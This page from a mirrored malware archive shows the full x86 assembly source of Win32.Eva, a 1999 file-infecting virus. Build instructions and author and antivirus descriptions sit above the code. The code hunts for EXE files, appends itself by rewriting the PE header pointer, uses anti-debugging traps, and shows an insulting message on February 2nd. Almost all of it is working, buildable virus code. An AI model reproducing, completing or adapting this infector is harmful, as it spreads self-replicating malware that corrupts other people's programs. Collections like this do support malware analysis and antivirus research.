Mirrors/vxug-MalwareSourceCode
13
1
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 12:08:36 +00:00
Code Releases Activity
d2cfd8ca7b
vxug-MalwareSourceCode/Win32/Win32.Eva.asm
vxunderground 3cac606e5f
Add files via upload
2020-10-10 22:07:43 -05:00

687 lines
18 KiB
NASM
Raw Blame History

;Win32.Eva virus.
;(c) 1999 by Benny
;
;
;Author's description
;---------------------
;
;Let me introduce my first COMPLETE Win32 infector. Yeah, i have written several parts
;of viruses, but this babe is my tiniest one with all needed functions to spread out.
;Win32.Eva is simple appender, infects one EXE file by changing pointer at 3ch
;in the MZ header, which points to new exe. After infection, MZ_lfanew pointer will be
;pointing to the viruses new PE header. So, if u will execute infected program under Win9X,
;WinNT or under Win3.1x with Win32s subsystem, program will start at the new location.
;After virus will be done with his work executes program again with changed
;MZ_lfanew pointer, that will be pointing to the original PE header.
;
;
;Payload
;--------
;
;On February the 2nd will display message box with some stupid comments.
;
;
;To build
;---------
;
;tasm32 -ml -m5 -q eva.asm
;tlink32 -Tpe -c -x -aa -r eva,,, import32
;pewrsec eva.exe (thanx Jacky !)
;
;
;AVP's description
;------------------
;
;This is a direct action (nonmemory resident) parasitic Win32 infector. It
;searches for PE EXE files in the Windows, Windows system [* Benny's note: it
;DOESN'T infect files in Windows/System directory!] and current directories,
;then writes itself to the end of the file. While infecting the virus does not
;modify the PE header at all, the infection way is based only on DOS Stub
;header: the virus writes to there new file offset of PE header (virus PE
;header). As a result the infected file has three parts: first part is original
;DOS stub, the second part is host PE data (not modified), third part is virus
;code and data.
;
;The virus has PE file structure: it contains PE header, section headers, import
;table, code and data sections. The modified DOS stub in infected files points
;to virus PE header instead of original ones. As a result, Windows32 while
;executing infected files reads and runs virus code instead of host one.
;
;To return to the host program the virus creates a copy of the infected file,
;disinfects it (just restores file offset of PE header) and spawns.
;
;On February 2nd the virus displays the message window:
;
; Win32.Eva by Benny, (c) 1999
; Hello stupid user, i'm so sorry, but i have to interrupt your work,
; 'cause I hate this shitty program. Click OK to continue.
;
; Greets to:
; Super/29A
; Darkman/29A
; Jacky Qwerty/29A
; Billy Belcebu/DDT
; and many other 29Aers...
;
;
;Some greets
;------------
;
;All 29Aers.... And thats only the beginnin' :-)
;Super/29A..... However, blue screen is still the best Sexy's effect :-)
;
;
;Who is Eva ?
;-------------------------
;
;Eva is one pretty girl with nice black/red hair and lovely eyes.
;I hope, that this work (fully programmed and commented by three days - good
;motivation :-)) will say some words to Eva better than I X-DD. I hate myself.
;
;
;Last notes
;-----------
;
;This virus has many bugs (after many repairs without tests) and in this time, I don't care
;about it. Don't bitch if, that it doesn't work and look at my last viruses... Hey, it's my first
;virus, so gimme space for living X-D.
;
;
;And here is it...
.386p ;386 instructions
.model flat ;32bit offset, no segments
include PE.inc ;include some needed files
include MZ.inc
include Useful.inc
include win32api.inc
extrn FindFirstFileA:PROC ;and import needed APIs
extrn SetFileAttributesA:PROC
extrn CreateFileA:PROC
extrn CreateFileMappingA:PROC
extrn MapViewOfFile:PROC
extrn UnmapViewOfFile:PROC
extrn CloseHandle:PROC
extrn FindClose:PROC
extrn FindNextFileA:PROC
extrn CopyFileA:PROC
extrn GetCommandLineA:PROC
extrn CreateProcessA:PROC
extrn GetModuleFileNameA:PROC
extrn WaitForSingleObject:PROC
extrn DeleteFileA:PROC
extrn GetCurrentDirectoryA:PROC
extrn GetWindowsDirectoryA:PROC
extrn GetSystemDirectoryA:PROC
extrn GetVersion:PROC
extrn GetSystemTime:PROC
extrn MessageBoxA:PROC
extrn GetLastError:PROC
extrn GetModuleHandleA:PROC
extrn GetProcAddress:PROC
extrn SetFilePointer:PROC
extrn SetEndOfFile:PROC
.data ;data section
msgTitle db 'Win32.Eva by Benny, (c) 1999', 0
msgText db 'Hello stupid user, i''m so sorry, but i have to interrupt your work,', 0dh
db '''cause I hate this shitty program. Click OK to continue.', 0dh, 0dh
db 'Greets to:', 0dh
db 9, 'Super/29A', 0dh
db 9, 'Darkman/29A', 0dh
db 9, 'Jacky Qwerty/29A', 0dh
db 9, 'Billy Belcebu/DDT', 0dh, 0dh
db 9, 'and many other 29Aers...', 0dh, 0dh, 0
kernel db 'KERNEL32', 0
IsDebuggerPresent db 'IsDebuggerPresent', 0
fmask db '*.EXE',0 ;search mask
DestFile db 'aaaaeva.exe', 0 ;temporary file
org $ - 1
space db ? ;space between name and params
CmdLine db 256 - 12 dup (?) ;command line
win32_find_data WIN32_FIND_DATA ?
search_handle dd ?
hFile dd ?
hMyFile dd ?
hMapFile dd ?
hMyMapFile dd ?
lpFile dd ?
lpMyFile dd ?
lppiProcInfo: ;needed by CreateProcessA
hProcess dd ?
hThread dd ?
dwProcessID dd ?
dwThreadID dd ?
lpFileName db 256 dup (?)
lpsiStartInfo db 64 dup (?)
lpWindowsPath db 256 dup (?)
lpCurrentPath db 256 dup (?)
org lpCurrentPath
lpSystemTime db 16 dup (?) ;these variables may overlap
ends
.code ;code of virus starts here
Start:
pushad
pushad
@SEH_SetupFrame ;setup SEH frame
inc dword ptr [edx] ;bye TD32 !
db 2dh ;some prefix
seh_rs:
push 256
push offset lpFileName
push 0
call GetModuleFileNameA ;get file-name of me
test_dir: ;i wont infect files in Windows
;dir, 'cause NT could crash
;on start
mov esi, offset lpCurrentPath
push esi
push esi
push 256
call GetCurrentDirectoryA ;get current directory
pop ebx
push 256
mov edi, offset lpWindowsPath
push edi
call GetWindowsDirectoryA ;getwindows directory
N_Char: cmpsb ;compare
jpatch: jne NoMatch ;no match, jump
jne FindFile ;second jump for next test
cmp byte ptr [esi - 1], 0 ;end of string ?
jne N_Char ;no, get next char
jmp quit_to_host ;yeah, we're in Windows dir.,
;jump to host
db 68h ;some prefix
NoMatch:push 256
mov edi, offset lpWindowsPath
push edi
call GetSystemDirectoryA ;get windows system dir.
mov word ptr [jpatch], 9090h ;path first jump with NOPs,
;second will take effect
mov esi, ebx
jmp N_Char ;and test directory
db 8bh ;some prefix
FindFile:
push offset win32_find_data
push offset fmask
call FindFirstFileA ;find first file
test eax, eax
je exit_search ;no files, quit
mov search_handle, eax ;save search handle
try_infect:
cmp win32_find_data.WFD_nFileSizeHigh, 0 ;discard huge files
jne Try_Next
mov eax, [win32_find_data.WFD_nFileSizeLow]
cmp eax, 4096*4 ;discard small files
jb Try_Next
cmp eax, (64*64*512)+1 ;discard huge files
jb @1
Try_Next:
push offset win32_find_data
push [search_handle]
call FindNextFileA ;try next file
xchg eax, ecx
jecxz exit_search ;no files, quit
jmp try_infect ;try infect it
db 67h ;some prefix
@1: mov edx, offset win32_find_data.WFD_szFileName
push edx
push 0
push edx
call SetFileAttributesA ;black file attributes
pop edx
xchg eax, ecx
jecxz Try_Next ;can't set attributes, try next
call OpenFile ;open and map file
jecxz Try_Next ;cant map file, try next
call InfectFile ;infect file
cmp eax, 'EVA' ;infection OK ?
je exit_search ;no, try next
push [lpFile]
call UnmapViewOfFile ;unmap view of file
push [hMapFile]
call CloseHandle ;close file mapping object
;error, we MUST TRUNCATE FILE BACK !
push 0
push 0
push [win32_find_data.WFD_nFileSizeLow]
push [hFile]
call SetFilePointer ;set file pointer to original size
push [hFile]
call SetEndOfFile ;and truncate file
call end_OpenFile3 ;close file
jmp Try_Next ;try next file
exit_search:
call CloseFile ;close and unmap file
call MyClose ;close and unmap my file
push [win32_find_data.WFD_dwFileAttributes]
push offset win32_find_data.WFD_szFileName
call SetFileAttributesA ;set back file attributes
push [search_handle]
call FindClose ;close search handle
quit_to_host:
push offset lpSystemTime ;test for activate payload
call GetSystemTime ;get system time
push 2
pop ecx ;ecx = 2
cmp word ptr [lpSystemTime+2], cx ;is February ?
jne no_payload
cmp word ptr [lpSystemTime+6], cx ;is 2nd of February
jne no_payload
cmp word ptr [lpSystemTime+12], cx ;2 seconds ?
jne no_payload
push 1000h ;system modal window
push offset msgTitle ;title
push offset msgText ;test
push 0 ;owner - NULL
call MessageBoxA ;display bessage box
no_payload:
push 0 ;overwrite file, if exist already
push offset DestFile ;destination file
cpyf: push offset lpFileName ;source file
call CopyFileA ;copy file
test eax, eax ;error ? (disk full, for example)
jne getcommandline
call GetLastError ;get las error
cmp eax, 32 ;another process is using this file
jne exit ;unknown error, exit
push 0 ;everwrite file
mov edx, offset DestFile ;dest. file
inc dword ptr [edx] ;try generate another file
push edx
jmp cpyf ;and try to copy file again
db 8bh ;some prefix
getcommandline: ;now we will skip our filename
call GetCommandLineA ;get command line
mov esi, eax ;set source
cat: lodsb ;get char
cmp al, 0 ;no params ?
je run_prg
cmp al, '"' ;long files r written with ""s
je long_name
cmp al, 20h ;is it space ?
jne cat
cat1: mov edi, offset CmdLine ;destination
lodsb ;movsb with char in al
stosb
cmp al, 0 ;end of params ?
je run_prg
cat0: lodsb ;same as previous
stosb
cmp al, 0
jne cat0
run_prg:
mov edx, offset DestFile ;edx as file to param
mov win32_find_data.WFD_nFileSizeLow, 2048 ;save num. of bytes to map
call OpenFile ;open and map our file
jecxz end_host ;if error, quit
mov eax, [ecx.MZ_lfanew - 4] ;load oroginal MZ_lfanew
mov [ecx.MZ_lfanew], eax ;and save it to that original pos.
call CloseFile ;close and unmap file
mov [space], 20h ;add params
xor eax, eax
push offset lppiProcInfo ;procinfo
push offset lpsiStartInfo ;start info
mov [lpsiStartInfo], SIZE lpsiStartInfo ;size of start info
push eax ;directory
push eax ;enviroment
push eax ;create options
push eax ;inherit handles ?
push eax ;thread SA
push eax ;process SA
push offset DestFile ;command line
push eax ;app name
call CreateProcessA ;create process !
xchg eax, ecx
jecxz end_host ;if error, quit
push -1 ;infinite
push [hProcess] ;child process
call WaitForSingleObject ;wait for signaled state
push [hThread]
call CloseHandle ;close thread primary thread handle
push [hProcess]
call CloseHandle ;close process handle
end_host:
mov edi, offset DestFile
push edi ;file to delete
mov byte ptr [edi+space-DestFile], 0 ;add NULL between file and params
call DeleteFileA ;delete it !
exit: popad ;restore all registers
ret ;otherwise this quit metod will not work !
db 75h ;some prefix
long_name:
lodsb ;load char
cmp al, '"'
jne long_name ;wait for next "
jmp cat1
db 73h ;some prefix
InfectFile proc
mov ebx, ecx ;save address of MM-file
cmp word ptr [ecx], IMAGE_DOS_SIGNATURE ;must be MZ
jne end_InfectFile
cmp dword ptr [ecx.MZ_lfanew-4], 0 ;mustn't be infected already
jne end_InfectFile
mov edx, [ecx.MZ_lfanew]
add ecx, edx
cmp dword ptr [ecx], IMAGE_NT_SIGNATURE ;must be PE\0\0
jne end_InfectFile
cmp word ptr [ecx.NT_FileHeader.FH_Machine], IMAGE_FILE_MACHINE_I386 ;must be 386+
jne end_InfectFile
movzx eax, word ptr [ecx.NT_FileHeader.FH_Characteristics]
not al
test eax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
jne end_InfectFile ;must be executable, mustn't be DLL
;at this point:
; EBX - start of MM-file
; ECX - PE header of MM-file
mov ebp, ebx
mov edi, ecx
sub edi, ebx
mov [ebx.MZ_lfanew-4], edi ;save original MZ_lfanew
mov eax, win32_find_data.WFD_nFileSizeLow
mov [ebx.MZ_lfanew], eax
mov edi, ebx
add edi, eax
mov edx, [ebx.MZ_lfanew]
add edx, ebx
push edx ;push it, will be needed l8r
call MyOpen ;open and map me
pop edx
jecxz end_InfectFile ;can't open, quit
push edx
mov esi, [ecx.MZ_lfanew]
add esi, ecx
push ecx
mov ecx, (503) / 4 ;PE header size + section header size
cld
rep movsd ;copy PE header + all section headers
pop esi
pop edx
;at this point:
; EDX - start of our new PE header
; EBP - start of MM-file (MZ header)
; ESI - start of MM prg+virus (MZ header)
; EDI - pointer to memory, where will be copied virus sections
push ebp
;from ...
mov ecx, [esi.MZ_lfanew]
add ecx, esi
movzx ebx, word ptr [ecx.NT_FileHeader.FH_SizeOfOptionalHeader] ;size of optional header
;to ...
mov ebp, edx
movzx edx, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader] ; ...
mov eax, 4 ;number of sections
copy_sections:
pushad
pushad
call Align ;align position
mov [esp.Pushad_edi], edi
popad
;from ...
lea ebx, [ecx.NT_OptionalHeader + ebx]
add esi, [ebx.SH_PointerToRawData] ;address of section data
mov ecx, [ebx.SH_SizeOfRawData] ;size of section data
;to ...
lea edx, [ebp.NT_OptionalHeader + edx]
mov ebx, edi
sub ebx, [esp.cPushad.RetAddr]
mov [edx.SH_PointerToRawData], ebx ;save pointer
rep movsb
mov [esp.Pushad_edi], edi
popad
sub ebx, -IMAGE_SIZEOF_SECTION_HEADER ;next section
sub edx, -IMAGE_SIZEOF_SECTION_HEADER ;next section
dec eax
jne copy_sections
pop ebp
mov eax, 'EVA' ;success, toggle flag
end_InfectFile:
ret
InfectFile EndP
db 72h ;some prefix
Align Proc
mov eax, edi
mov ebx, 200h ;our align
AlignIt:xor edx, edx ;nulify idiv remaider
push eax
idiv ebx ;divide it !
pop eax
test edx, edx ;mod = 0 ?
je end_align ;yeah, align complete
inc eax ;no, increment address
jmp AlignIt ;and jump back
end_align:
mov edi, eax ;edi = new aligned address
ret
Align EndP
db 75h ;some prefix
MyOpen proc
cdq ;edx = 0
push edx ;hTemlate
push edx ;normal attributes
push OPEN_EXISTING ;creation options
push edx ;SA
push FILE_SHARE_READ or FILE_SHARE_WRITE ;share mode
push GENERIC_READ ;desired access
push offset lpFileName ;lpFileName
call CreateFileA ;open it !
inc eax ;eax = -1 ?
je end_MyOpen3
dec eax
mov hMyFile, eax ;save handle
mov esi, eax
cdq ;edx = 0
push edx ;lpszMapName
push edx ;max. size low
push edx ;max. size high
push PAGE_READONLY ;fdwProtect
push edx ;SA
push esi ;hFile
call CreateFileMappingA ;create mapping !
xchg eax, ecx
jecxz end_MyOpen2 ;eax = 0 ?
mov hMyMapFile, ecx ;save handle
xor eax, eax ;eax = 0
push eax ;bytes to map
push eax ;offset low
push eax ;offset high
push FILE_MAP_READ ;dwDesiredAccess
push ecx ;hMapObj
call MapViewOfFile ;map it !
mov lpMyFile, eax ;save handle
xchg eax, ecx ;ret. value in ecx
ret
db 76h ;some prefix
MyClose:
push [lpMyFile]
call UnmapViewOfFile ;close mapped file
end_MyOpen2:
push [hMyMapFile]
call CloseHandle ;close mapping
end_MyOpen3:
push [hMyFile]
call CloseHandle ;close file
xor ecx, ecx
ret
MyOpen EndP
db 75h ;some prefix
;same as previous
OpenFile proc
xor eax, eax
push eax
push eax
push OPEN_EXISTING
push eax
mov al, 1
push eax
ror eax, 1
rcr eax, 1
push eax
push edx
call CreateFileA
cdq
inc eax
je end_OpenFile3
dec eax
mov hFile, eax
push edx
mov esi, win32_find_data.WFD_nFileSizeLow
sub esi, -4096
push esi
push edx
push PAGE_READWRITE
push 0
push eax
call CreateFileMappingA
cdq
xchg eax, ecx
jecxz end_OpenFile2
mov hMapFile, ecx
push esi
push edx
push edx
push FILE_MAP_WRITE
push ecx
call MapViewOfFile
mov lpFile, eax
xchg eax, ecx
ret
db 76h ;some prefix
CloseFile:
push [lpFile]
call UnmapViewOfFile
end_OpenFile2:
push [hMapFile]
call CloseHandle
end_OpenFile3:
push [hFile]
call CloseHandle
xor ecx, ecx
ret
OpenFile EndP
db 77h ;some prefix
seh_fn:
@SEH_RemoveFrame ;remove SEH frame
popad ;restore regs
call GetVersion ;get windows version
cmp eax, 80000000h ;is it WinNT ?
jb NT_debug_trap ;yeah, freeze this app
cmp ax, 0a04h ;or Win98
jb no_debug_trap ;Win95-
debug_trap: ;Win95/98
call IsDebugger
mov eax, 909119cdh ;set some instructions
jmp $ - 4 ;say bye to your balls :-)
db 2dh ;some prefix
no_debug_trap:
jmp seh_rs ;jump back
db 2dh ;some prefix
NT_debug_trap:
call IsDebugger
xor esp, esp ;this will freeze our app
push ecx ;if not, this will cause
;access violation exception
IsDebugger:
pop ebx
push offset kernel
call GetModuleHandleA ;get memory address of kernel32
xchg eax, ecx
jecxz no_debug_trap ;error, jump
push offset IsDebuggerPresent
push ecx
call GetProcAddress ;get procedure address of our API
xchg eax, ecx
jecxz no_debug_trap
call ecx ;call IsDebuggerPresent
xchg eax, ecx
jecxz no_debug_trap
jmp ebx
ends
End Start
View Git Blame Copy Permalink